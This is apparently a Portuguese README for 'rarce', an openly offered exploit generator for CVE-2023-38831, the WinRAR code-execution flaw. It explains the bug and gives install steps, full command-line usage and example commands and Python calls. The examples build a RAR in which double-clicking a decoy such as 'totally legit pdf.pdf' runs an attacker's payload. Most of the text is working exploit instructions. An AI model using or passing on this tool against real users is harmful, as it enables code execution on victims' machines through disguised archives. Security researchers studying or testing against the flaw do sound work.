
Uma ferramenta fácil de instalar e fácil de executar para gerar payloads de exploração para CVE-2023-38831, WinRAR RCE antes das versões 6.23
Este é um gerador de exploit versátil, fácil de instalar e fácil de usar, para CVE-2023-38831, uma vulnerabilidade que afeta versões do WinRAR anteriores à 6.23.
O WinRAR da RARLabs anterior à versão 6.23 permite que atacantes executem código arbitrário quando um usuário tenta visualizar um arquivo benigno dentro de um arquivo ZIP. O problema ocorre porque um arquivo ZIP pode incluir um arquivo benigno (como um arquivo .JPG comum) e também uma pasta com o mesmo nome do arquivo benigno, e o conteúdo da pasta (que pode incluir conteúdo executável) é processado durante uma tentativa de acessar apenas o arquivo benigno. Isso foi explorado ativamente entre abril e agosto de 2023.

Você pode instalar a ferramenta facilmente via pip.
pip install rarce
Ou, você pode usá-la a partir do código-fonte.
git clone https://github.com/ignis-sec/CVE-2023-38831-RaRCE
cd CVE-2023-38831-RaRCE
python3 setup.py install
usage: rarce [-h] [-v] [-i] [-dt] [-pt PRESERVE_TEMP] bait switch output
Exploit generator for CVE-2023-38831
positional arguments:
bait Path to the bait file to to add to the archive.
switch Path to the payload to switcheroo with the bait file on double click.
output Path to the output file.
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbose output.
-i, --ignore-path-check
Ignore path validity check. If given, rarce can overwrite existing files given in output parameter, and can create missing folders for
output path.
-dt, --dont-use-tempdir
Prevent the tool from creating a temporary directory when creating the exploit. Instead, create the intermediate folders in current
working directory.
-pt PRESERVE_TEMP, --preserve-temp PRESERVE_TEMP
Preserve the temporary directory after creating the exploit. Has no effect if -dt or --dont-use-tempdir is not specified.
Após instalar via pip ou setup.py, você pode usar esta ferramenta a partir da linha de comando. O comando a seguir criará o arquivo de exploit para você. Quando um usuário der um duplo clique no arquivo isca, o script ou executável de payload será executado no lugar.
$ rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
Opcionalmente, você pode usá-la como um módulo executável.
python -m rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
Você também pode usá-la dentro do seu código existente.
from rarce import exploit
exploit("totally legit pdf.pdf", "payload.cmd", "exploit.rar")